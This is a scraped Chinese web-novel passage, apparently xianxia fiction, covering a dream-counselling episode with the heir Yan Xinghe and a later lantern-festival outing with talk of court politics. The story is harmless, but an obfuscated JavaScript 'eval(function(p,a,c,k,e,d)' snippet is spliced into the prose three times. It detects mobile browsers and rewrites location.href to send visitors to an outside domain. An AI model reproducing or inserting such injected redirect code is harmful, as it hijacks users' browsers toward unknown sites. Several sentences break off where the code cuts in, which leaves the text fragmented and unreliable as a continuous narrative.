燕无辰的眸光穿过手中的狗尾草,看向缀满星子的夜空,“他当真对自己话中的荒诞逻辑没有哪怕一分一毫的察觉吗?” “有的罢。”褚眠冬道,“但即使他有所察觉,也会立刻再用谎言把这丝察觉掩盖掉。” 她也躺下,折了一根狗尾草含在唇间。 “一个装睡的人不是不能醒,而是选择了不醒。” “我不喜同这样的人打交道。”燕无辰叹道,“都是行恶事,这般颠倒黑白将自己立于道德不败之地的道貌岸然者,比直言把行恶作为处事准则之人更甚。” 后者尚且存有一丝承认自己行恶的是非辨别之能,前者却是彻底抛却良知和自省,只为其所求不择手段。 “也不知是否应当庆幸,老阁主在雁星河身上所求甚多。”褚眠冬幽幽道,“有所求则有所短,老阁主意欲操控雁星河愈多,便有愈多短处被握在雁星河处。” 再对视时,褚眠冬与燕无辰皆在对方眼中看见了一闪而逝的锋芒。 “迫切需要少阁主于继任大典上接过阁主之位、圆其无憾人生之梦的人是老阁主,而不是雁星河。” 褚眠冬说,“若非如此,老阁主也不会因雁星河失踪而推迟继任大典,而只需另寻一人扮作雁星河模样,让这大典如期进行便是。” 燕无辰道:“雁道友应该不介意了解一下,如何利用阁主之位掀翻老阁主筹谋一生布下的棋局,而另起一套合理的新局。” 换句话说,主动权在雁星河手中,倘若雁星河冷静思索,便知其间大有可为。 两人达成一致,明日再访明云,敲定入梦事宜。 “明日之事明日再议。”褚眠冬起身拂去衣摆上的草屑,“时间差不多,宵夜应该烤好了。” 翻开已经化灰的炭块,埋下的红薯火候正好。 扒开染灰的表皮,蜜色的薯肉软绵甘甜,热气腾腾。 两人均分了土豆和芋头,各自分得几枚烤好的带皮胡桃,共享了一餐愉快的宵夜。 “呼——” 燕无辰满足地躺成一个“大”字,话语间皆是餍足之意,“真想夜夜皆如此。” “我不想。” 褚眠冬打了个绵长的呵欠,“日日都吃素的可不行,再怎么说,三天里也得有两天烤肉,佐以时 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褚眠冬与燕无辰跟随明云于草木间穿行一阵,推开合扇木门时,一方庭院映入眼帘。 纷乱的石板小径通入半人高的草叶间,院中的花木皆毫无修整痕迹,是全然的自由生长之态。 礼貌而言,这庭院充满野趣;客观来说,这院子堪称凌乱。 明云微微叹道:“星河曾说,凌乱能让他有一种报复性的快意。” 褚眠冬两人忆起昨日在摘星阁中所见——规整的亭台楼阁,规整的檐曲回廊,每一处花池中的花草都修整得整整齐齐、高低一致,相邻的两片不同花池之间即使没有隔断也一株一株界限分明,毫无杂乱之态,是异乎寻常的规整完善。 与眼前之景堪称两个极端。 可想而知,雁星河在摘星阁中的每分每秒,恐怕连呼吸都感到压抑。 再次于桌案边落座时,燕无辰不觉叹气。 “如此十数年,想来换作谁,都不是好受的。” “尤其,雁道友还一直将老阁主的认可视作价值所在。”褚眠冬也叹气,“站在雁道友角度,能选择在继任大典前离开,都已经很需要勇气。” 不再多言,她看向明云,说出二人的决定。 “明道友,我们想了解的都差不多知悉了。今夜,便可入梦。” 燕无辰亦颔首。 明云的眸光骤然亮起,深深吸气。 “多谢两位。” 并未多说任何恭维之语,他铺开纸笔,与两人详细商议入梦细节。 待将入梦事宜安排完毕,三人如先前所言,立下道契。余下的时间,褚眠冬和燕无辰在明云提供的院落中将所需阵法一一绘制完毕,以防夜间惊扰。 一切准备妥当,在明云方便照应的建议下,两人同处一室,于两张软榻上各自静卧,鼻息间是安神平心的入梦引气息。 这间厢房足够大,两张软榻分别位于内室和外室,以一扇屏风作为两方空间的分隔,不至于距离过近,引人尴尬。 奈何修炼之人耳清目明,闭上眼之后,视觉之外的感知更为明晰,从呼吸的节次到对方周身的灵力气息,习惯了独处一室的两人都愈发清晰地意识到另一人的存在。 ……果然还是很尴尬。 这一刻,褚眠冬与燕无辰的思绪前所未有的一致: 好在入梦引有助眠之效,否则自己怕是要一路清醒到天明了。 8. 星河入梦 视野再回时,周身是大片柔软的云。 蓬松、轻盈、随风渐移,些微水汽抚过面颊,叫褚眠冬觉得,自己仿佛身处蓝天之上,置身于远缀青绿山边的层云之间。 与寻常梦境并不相同,这一刻,褚眠冬深知自己正身处梦中;同样,她也知晓,这个梦的主导者并不是她。 但梦的主导者显然对外来者并无恶意。 周身的云团绵软而温和,身为修者的直觉也并未带来任何不妙的预警,而传递着令人放缓心弦的松弛气息,却不至于引人昏昏欲睡。 褚眠冬与燕无辰皆目露意外之色。 这与两人预设里的最坏情形很是不同。甚至可以说,有些好过头了。 “你们来了。” 清润嗓音入耳,一团悠悠飘来的云带来梦的主人,名为雁星河的蓝衣青年。 松散的蓝袍和披散的长发绘下青年不修边幅的底色,与老阁主口中“端庄雍容”的少阁主形象大相径庭。 “在下雁星河,是明云引两位至此的罢。” 他并不意外于自己的梦中有两个不识之人到来,自报家门后,雁星河一手支颐,平和道: “我还不想醒来。两位来都来了,不若同我聊上一聊。且先猜猜,我为何不愿梦醒?” 燕无辰看了看浑身上下写满松弛的雁星河,“许是这梦里,有雁道友想要的自由罢。” “没有求卦者,亦无老阁主,仅有自己一人,尽不必压抑本心。”褚眠冬道,“这样的自由于雁道友而言,或许仅在梦中可得。” 唯有片片白云无声飘挪的云间,两人的话语飘在风里。 雁星河沉默良久,却在某个瞬间倏尔勾起唇角,苦笑之间,一声喟叹。 “是啊,仅于梦中可得。” “诚如两位所言,我在这梦中不愿醒来,是因为这梦里有我想要的自由和松弛。” 青年将整个身体都埋入大块柔软的云团中,眸光渐渐悠远。 “我……太需要歇歇了。” 从衣装到卧榻,处处皆需规整;从言行到表情,一字一句皆要端庄。 “我不喜繁复的正装,而偏好广袖轻衣。我不喜被人为喜好规整的花木,而偏爱自然生长的凌乱。” “我不喜一言一行都被严格限定的人生,而希望属于自我的意愿被尊重。” 雁星河抬起一只手,捂住了双眼,一声嗤笑。 “可是我的父亲,从未看见过真正的我,从未真正尊重过我的喜好。” “他希望我如他一般活着,从餐食、衣着到日程,说只有这样,我才能如他那般成功,才能成为值得他夸赞的儿子,才能配得上他的爱。” 指缝之间,有透明的液体一闪而过。 “可父母对孩子的爱,不是无条件的吗?不被看见、不被听见的痛苦,难道不是孩子最大的不幸吗?” 青年深深吸气,又长长叹息。 “在这个梦里,我辗转反侧,思考了无数次又尝试过无数次,试图理解我的父亲,试图弄清楚,他究竟把我当成什么……我不愿以最不善的眼光去揣测他,却最终发现,只有这个我最不愿相信的解释,能将一切说通。” 他竭力让语气显得平静,却收效甚微。 “也许在他眼中,「雁星河」从来都不是一个有自我意志的人,而是一个容器,一个物件。容纳他的意志,延续他的生命,继承他的「辉煌」,成为另一个他……这就是我这个「儿子」……之于他的全部意义。” 接下来的话音里,染上了浓墨挥就的悲伤与淡墨浸染的自嘲。 “为了他的赞赏,我追寻他划出的框架、压制自己的意志,二十载岁月里,我唯一能忆起的亮色,只有同明云在一处的时候……而这样的时刻,也都是偷来的。” 话语至此,雁星河话锋一转。 “他如何向两位提起明云?「不入流」,抑或面带嫌恶?” 他已经从褚眠冬两人的神色中得到了答案。 雁星河轻轻嗤笑一声,再次转了话头。 “自小以来,我最爱的那只蹴鞠会很快消失不见,最爱的猫儿会迅速不见踪影,新结识的友人会频频疏远于我。” “年幼时我总以为,是不是我不够好,所以不配与我所喜爱的一切建立关联,一切美好的东西都会离我远去,除了我的父亲,只要我听他的话,按照他说的做,他就是永远不会抛弃我的存在。” 又是一声长叹,随之而来的沉默里,青年话语间的愤意轻缓消解,再开口时,已是声线淡淡。 “直到与明云相识,是啊,大抵这便是命运罢。明云让我明白,我的好父亲不仅是一个优秀的商人,亦是一个优秀的操纵者。” “我以为只要按照父亲说的做就不会被抛弃,却发现,原来我从未被他拾起过,又谈何被他抛弃。” “看清的那一日,我与他大吵了一架。” 雁星河直身坐起,微微阖眸。 “自那之后,关于明云的流言便未曾停过。明云的占星铺原本声名远扬,却因着那些关于明云本人的风言风语,渐渐萧条下去。” “但凡稍作调查,便知这些流言的来源都是摘星阁。我的好父亲,行事之时从不屑遮掩。但前来城中求卦者,几乎无人会去查证流言的真伪,大都宁可信其有。而那些流言中,最为离谱的一条……” 青年半掩在袍袖中的指尖骤然攥紧,指节处微微泛白,昭示着不平的心绪。 “乃是,明云好男色,荤素不忌。” “我同明云相交,无关乎情爱,无所谓性别,无关姓甚名谁、年龄几何,而仅在于此人的内里。莫非所有交集,除却「情爱」一词之外,便再无其它可能了吗?如此认知,未免太过狭隘。” 雁星河清朗的声线再无法保持平静,而近乎咬牙切齿。 “明云不在乎所谓声名,他也曾言流言乃对来客最好的筛选……但我无法原谅,与我血脉相连的人,以如此轻佻之语,叫明云平白受人诟病。此理便如,不可因挥刀之行未能伤人,便判挥刀者无过。” 他垂眸望向因方才的紧攥而留下数枚月牙形印记的掌心,声线里终于染上痛苦之色。 “我愧对明云。他带我看见这世间的其它可能,我却一直是他的拖累,哪怕这并非出于我意愿。” “我怨恨老阁主,怨他将他的意志高高凌驾于我身,更不愿再如一副浑浑噩噩的牵线木偶,如之前的二十载般活成一具空壳。我想要改变。” 他抬眸,眸中有动摇与犹疑,亦有无法忽视的坚定。 “但我发现……” 他微微偏头,垂眼掩去了眸中泛起的无力与自我唾弃。 “除却在继任大典前失踪、逃离这一切,我竟……想不出任何更好的,更有用的方法。” 他眸光中的坚定之色如被狂风吹皱,摇摇欲坠。 “我狼狈地逃到梦境里,逃离迫在眉睫、即将把那顶名为「阁主」的冠冕焊死在我头上的继任大典。” “「阁主」之名于我,如同一枚沉重的烙印,昭示着彻底坠入无光的深渊,再不得脱逃……我不想就此成为他的容器。” 雁星河的唇角逸出一丝苦笑。 “我也……逃避着明云。我如何有颜去面对他?站在光里的他那么耀眼,而一直被他的光芒温暖的我,却如一团黑泥一般,一直在他身后拖累着他。” “连现实都没有勇气去面对的我,逃避那些需要我自己拿出勇气去做的反抗和争取的我……这样一个糟透的我,如何配得上光亮和温暖?” 破碎的话语之间,斑驳着声声破碎的呼吸与急促的心跳。 “这样一个光是想到改变就会被恐惧淹没、瑟缩在梦境中的我,又怎么可能得到一个好结局?” 周身的软白云团被骤起的凉风吹散,冷意层层环绕,目之所及,是天边迅速蓄起的黑云。 “明云告诉我的自由、爱和被爱……我又如何配得上这些?” 不过瞬息之间,暗沉的乌黑云层便已侵袭至三人身侧,雷鸣之声在耳畔远近震响。 冷风带起雁星河的黑发,掩去了他的眸光和神色,褚眠冬却在一霎亮起的电光里,看见了青年下颌处那抹晶亮的水迹。 “我不配啊。” 梦境之景是主宰者心境的映射,密布的阴云明明白白折射着雁星河的阴郁与绝望。 推倒了心中那栋由老阁主建起的扭曲高阁后,在从未体会过的解脱感里,他站在一片废墟之上,茫然四顾,无所适从。 而心中的另一个他,谴责着这个坠入迷茫、无力应对接踵而来事项的他,直至他近乎崩溃,下意识想起那些贬低之语,再次坠入自我怀疑的深渊。 “也许老家伙说得对……所有的美好都注定离我远去,而看清这事实却依旧无力反抗、只知道逃避的我,当真什么都……”配不上。 倏忽间,发顶处落下带着些许力度却依然称得上温柔的摩挲。 雁星河愣了愣,不自觉睁大了眼。 发丝摩擦的细微声响与掌心传导而来的柔和热意交织,自头顶绵延而下。 因思虑难全而一直隐隐作痛的心口似有所觉般重重一跳,有些兴奋地开始鼓噪,试探着燃起名为希冀的火光。 “哈……这样的我,却还在期待啊。” 雁星河知晓,这无关情爱与心动,而关乎一些更深层的存在。 他在期待一个人——谁都好——告诉他,他不差;告诉他,明云所言的爱和被爱真的存在,而他值得这些。 因为从未有谁曾这样告诉过他。 乏善可陈的前二十年里,明云是带领他看见门外有光的那个人。 而站在门口时,从未真正感受过光亮的雁星河犹豫了。 他忽而不敢直视站在光亮中的明云,也不敢将那些自卑与茫然向明云一一摊开,他已经拖累明云太多了。 他们已经太过熟悉,以至于他总是小心翼翼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716869|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而褚眠冬与燕无辰则刚刚好。 并不熟悉、身处梦境,于是能够无所顾忌; 并非友人,于是能够以报酬两清,无甚心理负担; 由明云引导,又增一分可信。 理智这般分析,情绪却依旧难明。雁星河依然难以摆脱不配得感的纠缠,尖锐的叫嚣在脑海中穿插呼啸—— 你可真是一滩靠吞吃他人光亮苟延残喘的黑泥,一个明云不够,还妄想着祸害拖累下一个。 你这些见不得光的算计,倘若叫面前的两个人知晓,也定会骂你一声“卑劣”罢? 等待两人开口的空隙里,他的犹疑每一分每一秒都在加剧,直至慢慢将他彻底压倒,心口渐渐被冰冷的黑沉潭水淹没,坠坠的冷。 也许只过了一瞬,又或许过了很久,他终于再也坚持不住,开口时,才发现嗓音业已嘶哑。 “不……当我什么都没说罢。这样的我如何配期待更多……” 这一次,打断他的是少女的温和嗓音。 “少阁主,我能称呼你为星河吗?” 这话语声并不大,却携着某种坚定的意味,穿透重重风雨之声,清晰地传入雁星河耳畔。 他应当是点了头。 “星河,你并不卑劣,也并不懦弱。” 湿凉的腕间传来温热的触感,是一双手,将他攥紧的指尖一一掰开、握在手心,弥散出丝丝暖意。 “逃避并不可耻,也没有错。它是趋利避害的本能,也是人之常情。” “当状态差到无以为继时,停止、将自己从情境中扯离,这是明智的,是走向更好状态的开端。换言之,逃避不仅无咎,更有其积极意义。” 少女语气平静,不带谴责亦无关鼓舞,一字一句陈述间带出的平和感,让雁星河想起清风拂过山林时令人心安的轻簌。 “你最终将「逃离」二字付诸行动,而不是继续逼迫自己违心向前,这本身就已经是巨大勇气的体现。” “星河,并不是每个人,都有勇气从已经进行十数年的行为模式中跳出,面对随之而来的未知带来的恐惧……” “但是你做到了。” “所以你并不懦弱。你面对的情境很复杂,并非即刻便可全数解决之属。不必急,慢慢来就好,现在你已经迈出了相当好的第一步。” “不必对自己如此苛刻,你已经做得很好了。” 纷乱如麻的心绪在话语声中渐渐沉入水底,雁星河深深吸气,修长的指节轻轻回握住掌心的热源。 手心那抹确切的温度明晰又灼热,仿佛能在一瞬之间,将脑海中那些纷乱阴冷的叫嚣尽数驱散。 “此外,星河,明云可曾亲口说过你拖累了他,并因此而有怨于你?” 雁星河果断摇头:“未曾。” “你比我们更了解明云,他向来是即时沟通、即刻行动之人。倘若他当真觉得你拖累了他,必然早已在言语上同你交代清楚,亦于行动上疏远于你。” “确是如此。”雁星河认同褚眠冬的判断,“但他没有,明云从未这样做。” “是的,明云没有。那么,这是否也能在一定程度上说明,你身上的一些特质,让明云愿意与你结交——” 褚眠冬道,“也就是说,你并没有你想象的那么糟。” 雁星河缓缓眨眼,细细思索。沉默须臾,方道: “我……从未想到这些。” 他原来……没有那么差,一切也并非已被他尽数搞砸。 褚眠冬继续道:“曾有人教导我,看一个人实际说了什么、做了什么,而勿仅沉溺于脑中对此人心思的猜测和臆断。” “你看,你不仅无需对明云怀愧,还当因与明云结交而更加自信才是。” “倘若依然怀愧,便同明云开诚布公地聊聊这愧疚如何?两个人的事,大可不必试图自己一个人扛。二人相处间生发的种种情绪,自然也需二人一同沟通处理。毕竟,解铃还须系铃人不是?” 雁星河默默颔首,紧皱的眉梢些微舒展。 三人周身的狂风骤雨渐次止息,一阵清风拂过,吹散了远近层叠的浮云,视野开阔不少。 “最后……星河,我很钦佩你。” 褚眠冬说的郑重,话语间,她微阖了眼,又轻轻叹气。 “倘若我是你,面对你身处的境遇,也不一定能做得比你更好。” 这句感慨,褚眠冬真心实意。 她知晓自己的思维多数时候很有些超出常规的洒然,而这样的思考方式,建立在向来不走寻常路的褚明秋多年来的启发之上。 但勇气、自由、尊重、爱与被爱,显然并不在老阁主掌握甚至传授的范围里。 在这样的引导者手下长大,褚眠冬很难忽略某些更加危害三界的走向,但雁星河并没有滑向那些更糟的可能性。 “所以这样的你,自然值得。” 所以不要怀疑。 “你配得上。” 9. 星河入梦.终 “……谢谢。” 紧绷的脊梁卸了气力,雁星河仰倒在身后的云团上。一手掩面时,滚烫的泪水自指缝间溢出,洇湿了轻落在耳侧的广袖长裾。 “我……” 再开口时,声近呜咽。 “我从未见过母亲……也的确没有被父亲爱过……我不懂如何被爱,也不懂如何去爱一个人……我不懂怎么和自己相处,也不明白要怎么处理那些难题……” 有光亮落下,渗过指缝,映入瞳孔,近乎灼烧。 “可是这样的我,原来也是配得上的啊。” “因为你依然在寻找光亮。”褚眠冬说,“你会摒弃盲从、质疑老阁主不辨好恶的行事准则,会正视心中的痛苦、向内观照自我。” “你会独立思考,又会内观自省。这样的你,为什么不配?” 少女的话语中满是笃定。 “爱和被爱是一种后天习得的能力,和自己相处、和别人相处、和世界相处也是。没有谁教过你这些,你不明白,有什么问题?” “所以你理直气壮一点。”褚眠冬认真道,“毕竟不具备内观自省和独立思考这两项美德的人可太多了。从这个意义上来说,你可太配了。” 被一句“你可太配了”打断泪意,雁星河轻轻抽气,拭去面上残泪间,又被少女说出这话时近乎感慨的语气引出些许笑意。 他吸气又呼气,平复了一番心绪。 见雁星河的情绪渐渐平定下来,一直沉默未言的燕无辰才开了口。 “关于继任阁主一事,我们二人亦有些看法。如果雁道友不介意,可听我们一言。” 雁星河看向方才一直无甚存在感的白衣少年,摇头道: “自是不介意。不如说,还请两位提点。” “提点谈不上,只是一些猜测和分析。”燕无辰道,“总的说来就是,你对老阁主的「成功人生」而言,很重要。” “是啊。”雁星河叹了口气,“我是他最重要的「容器」。” “换句话说,在继任大典上将阁主之位传予「你」、自己功成身退享受一生盛名这一过程,在老阁主为自己营造成功之感的仪式里,是不可或缺的。” 燕无辰将重音落在“你”之一字上。 “他的仪式需要你,而做选择的权力在你手里,所以你手握主动权。先前你总觉受制于人、不知如何是好,是因为他以「我不配」之感操控了你。” “而现在,你已经意识到了主动权在你这里。” “你可以就此远走高飞、隐姓埋名,彻底远离这套操纵与被操纵的规则,远离眼中只有这一模式的人,让他感受一番功亏一篑的痛苦。” 燕无辰话语一转,“你也可以利用这份不可或缺和这个阁主之位,在这套规则里将局势反转,让他也体会居于「被操纵者」处的无能为力之感。” “又或者,你可以在阁主之位上,取缔他多年来建起的以「操纵和被操纵」为基的规则,而另起一套合理的新规则。” “不知雁道友,更心向哪一种?” * 褚眠冬睁开了眼。 雁星河心中有了答案的那一刻,梦境便开始崩塌。 她只看见身着蓝袍的青年启唇说着什么,却未能分辨出具体的字句与回答。 褚眠冬从内室的软榻上起身,绕过屏风,与将将坐起的燕无辰视线相对,便见白衣少年亦摇了摇头。 “看来于权谋一道,雁道友一点就通。” 褚眠冬背过身等待燕无辰整理略显凌乱的衣襟,话语微顿。 “如果雁道友选的是第三条路,你说,当走到有能力倾覆棋局的那一步时,雁道友还会选择这样做吗?” 燕无辰轻叹一声,“不到那一日,无人会知晓。” “如此一想,也许一开始便不应将后两个可能说出来。”他道,“但我想,这大抵并非你我所愿。” “是啊。” 褚眠冬叹了口气,“若是这样做了,你我又同老阁主何异。雁道友有知晓所有可能性的权利,也有自己做出选择的权利。” “我们只能做到这里,也只需做到这里。” 次日,雁星河返回阁中,推迟的摘星阁继任大典重新定下日期。 褚眠冬二人收得三份酬劳又立下保密道契后,少阁主雁星河失踪一事就此告一段落。 又过一日,褚眠冬与燕无辰取了明云赠予的桂花乌龙,闲坐檐下,煮茶清谈。 “据明云说,此乃去岁新制所得。” 燕无辰执壶倾倒之时,属于金秋丹桂的微甜香气随水雾蒸腾而起,幽幽弥散。 褚眠冬欣赏着白衣少年行云流水的动作,“且不说茶如何,只说燕道友煮茶的手法,便足以将十分至味推至十二分。” “褚道友谬赞,不过是熟能生巧罢了。”燕无辰摇头,“任谁在山头日日煮茶煮个百……八年十年,都能有这番造诣。” 把到嘴边的“百八十年”紧急换作“八年十年”,燕无辰在心中暗松口气。 直觉告诉他,最好不要让褚眠冬知晓他足以成为对方祖宗的真实年龄,至少现在不行。 相比担忧褚眠冬据此推断出他的真实身份,燕无辰更在意的是,二人间的关系可能因此而发生变化,不再如此时般轻松自在。 他不敢赌,褚眠冬会不会在知晓他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年些微上挑的眼尾之下,一枚色泽浅淡的泪痣似天地毓秀的神之一笔,如一幅墨色山水画被添上了一抹朱砂作为点睛之色,便叫这画作从赏心悦目变作了见之忘俗。 “此番我下山游历,无甚明确的地域所向。如褚道友愿意,烹茶之道,你我可于途中共研。” 燕无辰略略迟疑,却还是就此将盘桓在心中的念头诉诸言语。 “不止烹茶一道,美食、美景,术法、道心,与自我相处,与他者相处,与世界相处……这些,我都想与你一同探讨。” 少年眸光澄澈,话语坦诚。 “不知……我可否与你同行?” 10. 明君策 次日,与燕无辰一同御剑前往凡间时,褚眠冬看向身侧白衣翩飞的少年,试图从昨日应下少年同行之邀时的复杂心绪里,分辨出起决定性作用的那一缕。 是那盏出自少年之手的桂花乌龙太过香醇? 是昨日午后时分,风起云开时映下的那缕阳光太温柔,引思绪往肯定而去? 是彼时身披柔光的少年太隽秀,眼尾那枚点在她审美之上的泪痣太惑人? 褚眠冬想,不,都不是。 是少年对所谓「理所应当之理」的思索与质疑,是少年犹疑之后依然坦诚说出心中所思的坦荡和真诚,是少年澄澈清亮、不染杂念的眸光,其间盛满尊重、平和,与不加掩饰的期待。 她与他是两个独立而对等的个体,于世间之事同在思考、各有看法。 这些思绪中相似的部分让两人能够互相理解、驱散孤独,而其中不同的部分让两人得以交换碰撞、互有启发。 燕无辰注意到身侧少女的注视,偏头回以疑问的眸光。 “没什么。”褚眠冬的视线最终落在少年脑后未束起的黑发上,“风有点大,你的头发……” 话音未落,少年右侧鬓角处的一绺黑发便因向左侧首,被迎面而来的风拍在了面上。 “其实出发时我就想说了……” 褚眠冬递上一根红绸发带,诚恳道: “御剑不束发,容易糊一脸。” 燕无辰:…… 燕无辰:“多谢。” 他接过发带,抬手将一头青丝尽数束起,有些窘迫,又有些困惑。 只是错觉吗? 方才那一瞬,他觉得她在看着他,思考着非常重要的事。 * 两人寻了一片皇都城郊的无人树林落下,收了剑,敛去修者气息。 “现在刚过十五,放在往年,春灯会业已结束。” 褚眠冬说明此行的情况,“不过因着去岁新帝登基,眼下适逢新帝任上的第一个新春,皇城的春灯会格外盛大,将持续整个正月。是以,刚好能去城中一赏春灯会。” 说着,她有些感慨。 “上回看城中的灯会,竟已是八年前的事了。” 闻言,燕无辰亦回想了一番自己记忆中的灯会,发觉那段记忆除却攒钱赶路,便只剩下在全力奔行间于眼前一晃而过的灯影。 彼时适逢凌云宗开山门,遣使者于人间皇城设下验灵石,测出灵根者皆可随灵舟前往修界,参加凌云宗的入门考核。 燕无辰一路从所在之地赶至皇城时,已是正月十五黄昏,亦即灵根测试的最后期限。顾不得看市街间花灯如昼,他只来得及将掌心摁在验灵石上,一时间光芒大作,自此,他再未返回人间。 好像自那时起,他的人生才刚刚开始;又好像从那时起,他的生活就此开始循环。 燕无辰想,论丰富多彩,他在山巅静修的八百年,大抵远不如褚眠冬在世间游历的八年。 曾经他不觉得没有色彩的生活有何难熬,如今再逢灯会,他却想将挂满花灯的街巷一条条走遍。 “我也有数载没有看过灯会了。”他说,“在城中安顿下来后,就一同去看罢。” 褚眠冬从储物袋中取出一只令牌,笑着晃了晃:“这回不用住客栈。” 跟随褚眠冬的步伐,二人在一处幽静的宅邸前停下。 宅院门扉上并未如寻常人家般落锁,而设一方凹槽,恰似令牌形状。 褚眠冬将手中令牌嵌入后,门扉发出机关齿轮运作的轻响,不多时,院门敞开,映入眼帘的是打理得宜的庭院一角。 见燕无辰扶门细细观察机关构造,褚眠冬介绍道: “开国女帝容曦下旨设机巧司,广纳精工巧匠者,与科举入仕者平权,民间工匠技艺由此得到促进,繁盛发展。这门上机巧,便是司中工匠所制。” 她领燕无辰步入庭中,转过亭台回廊,远远便见中庭里一树红梅花开正盛。 再走近些,又见庭中梅树下正有一人身披朱色鹤氅而立,听闻二人走近,树下人转身看来,眸中惊讶之色一闪而逝。 “老师……?” 褚眠冬也看清了树下女子的面容。 记忆中的包子少女已彻底长开,眉眼之间的雍容妍丽不掩那分自小便有的锐利英气。 她油然而生几分吾家有徒初长成的欣慰,笑应道: “阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“帝王是份高危职业,靠侍卫不如靠自己。”褚眠冬道,“再者,摆驾出行动静过大,远不及这般灵活。” 燕无辰已在来时路上听褚眠冬讲过不少当朝之事,但直到此刻才直观体会了一番两位女帝的与众不同。 “不止灯会,如今我当真非常好奇二人治下的坊市之景是何模样了。” 想来应不会是八百年前,让他觉得拼尽全力离开人间、前往修界才是唯一出路的模样。 11. 明君策 是夜,华灯初上时,褚眠冬与燕无辰二人换了装束,掐诀掩去过于出挑的容色,一同漫步于街巷之间。 “其实自金凰开国以来,城中便不再以坊市为制,如前朝那般将居住区划作「坊」,与划作「市」的商业区严格区分,并分行宵禁。” 褚眠冬道:“开国女帝容曦下旨拆坊墙,城中区划行街巷制,店铺、住宅、官邸皆可临街而建,走商亦可在街巷间自由穿行。取消宵禁,夜市也因此而兴。” 一路走来,临街的商铺与楼阁皆在檐角点亮灯笼、挂起花灯,更有店家别出心裁,将花灯样式制成店中商品之态,权作招徕之用。 沿街摊贩走商所售,从最常见的应季小食、应景饰品到各式工巧小物,亦有杂耍者二三,引得周边民众频频叫好称奇。 褚眠冬与燕无辰在街边一方花灯摊前驻足,准备各挑一盏花灯,入乡随俗,只待届时沿街巷行至河畔,放入水中以作祈愿。 摊主热情询问是否需要介绍,得到否定的答复后,转身同一旁包点铺的店主续上了未尽的交谈。 “说到你家银丝卷深得陛下喜爱我就要说了,如今陛下登基已近整月,这封赏也都下的差不多了,怎还未听闻对傅家大公子的旨意?” “我瞧你只是想拿我家银丝卷做个话筏子。”包点铺店主道,“也罢,如今这京中谁人不关心那位傅寻白傅公子同陛下的二三事?” “可不是。世家出身,傅家近百年最具实才的子弟。品行端方,又同陛下青梅竹马。陛下还是太女时,傅公子就一直伴在陛下身侧,防治益州水患,预判江州饥荒,速治梁州时疫,说是陛下的左膀右臂也不为过。” “是这个理儿。如此才华横溢人物,便是……” 花灯摊主露出英雄所见略同之色:“便是入主鸾宫为君后,也是使得的啊。” 包点铺店主顿了一顿,方道:“其实我想说的是,便是拜相也是使得的。” 两人对视片刻又思索一番,互相觉得对方说的似乎有些道理。 花灯摊主遗憾开口:“这君后可不能带官职呐。” “君后不得干政,也是考虑到不宜世家独大。”包点铺店主摇头,“无论傅公子是拜相还是入鸾宫,于傅家而言,皆为巨大助力。倘二者兼为之,这平衡就破了。” “也是。如今相位空悬,鸾宫无主,傅公子若取这二者之一,另一位便大概率许给闻家。闻氏此代中庸,难有堪担相位者……” 花灯摊主沮丧地叹气。 “你是对的,想来傅公子多半是会拜相的。” “这倒不一定了。”包点铺店主却道,“你我能看到的,陛下岂有不见之理?傅公子迟未封赏,便足以说明问题。” “此言有理。”花灯摊主又支楞起来,“总归无论陛下最终作何旨意,想来也会是英明之举。” “毕竟陛下是曦帝手把手带出的。若非曦帝当年提倡经商、工巧、务田同科举平权,皆择其优者而仕,哪有如今你我这般坐在这里,经营些小营生还有闲心漫侃,只怕满心都是挑灯苦读数十载,只求有朝一日金榜题名一飞冲天。” 包点铺店主亦笑道:“是啊,若非如此,你我也不可能在街巷间闲聊这些。” 于摊前选好花灯、听了一耳朵闲谈的褚眠冬和燕无辰付了钱,皆若有所思。 燕无辰在心底慨叹,坊市制改作街巷制,农工商入仕与科举平权,如今人间百姓的选择,确实比八百年前多出许多。 褚眠冬则在思索皇权与世家之问。 “看来傅闻两家,便是如今朝野中最具权势的两大世家。”她回想经史所载,“傅家崇文,闻家尚武,皆是开国之时曦帝所倚重的功臣之家,两家也都有家中子入女帝后宫,皆为贵君。” “不过,曦帝虽广开后宫,却并未立后,亦不允许诞下子嗣。太女容昭与朝中世家皆无关联,乃女帝微服私访带回,至少明面上如此。某种意义上来说,曦帝以此很好地杜绝了外戚势大之患。” “无论太女由哪家贵君诞下,于其所在世家而言,都是助力。”燕无辰亦颔首,“这一碗水,曦帝端的很平。” 褚眠冬挑眉,“既然情势如此,曦帝禅位之时令朝中肱骨随行出航,想来便既是为阿昭安排自己的势力腾出空间,也同样是对阿昭的最后考验。” “若依旧沿用端水一策,则相位与后位应分许给傅闻两家,以示君恩。”燕无辰分析道,“或同曦帝一样,摒弃后位,许闻家子贵君之位,以平衡傅家子拜相给傅家带来的助力。” 褚眠冬:“但客观而言,若傅寻白有相才,便理当拜相;若闻家后代平庸,便理应由更有才者入朝为官,而不必为示平衡与安抚,许以闻家贵君之位。” 她皱了皱眉,“若按照这套端水的逻辑,后宫便成了世家无才之子的集散地,用以平衡世家间矛盾的工具。” “又或者,这样的后宫同样可以是挑起世家矛盾的最佳工具。”燕无辰说,“鹬蚌相争,渔翁得利。总之不论是哪一种,后宫之事都与情爱无关,而为权谋之策。” 褚眠冬摇头:“这并非阿昭所愿。傅寻白的封赏诏令至今未达,由此可见一斑。” 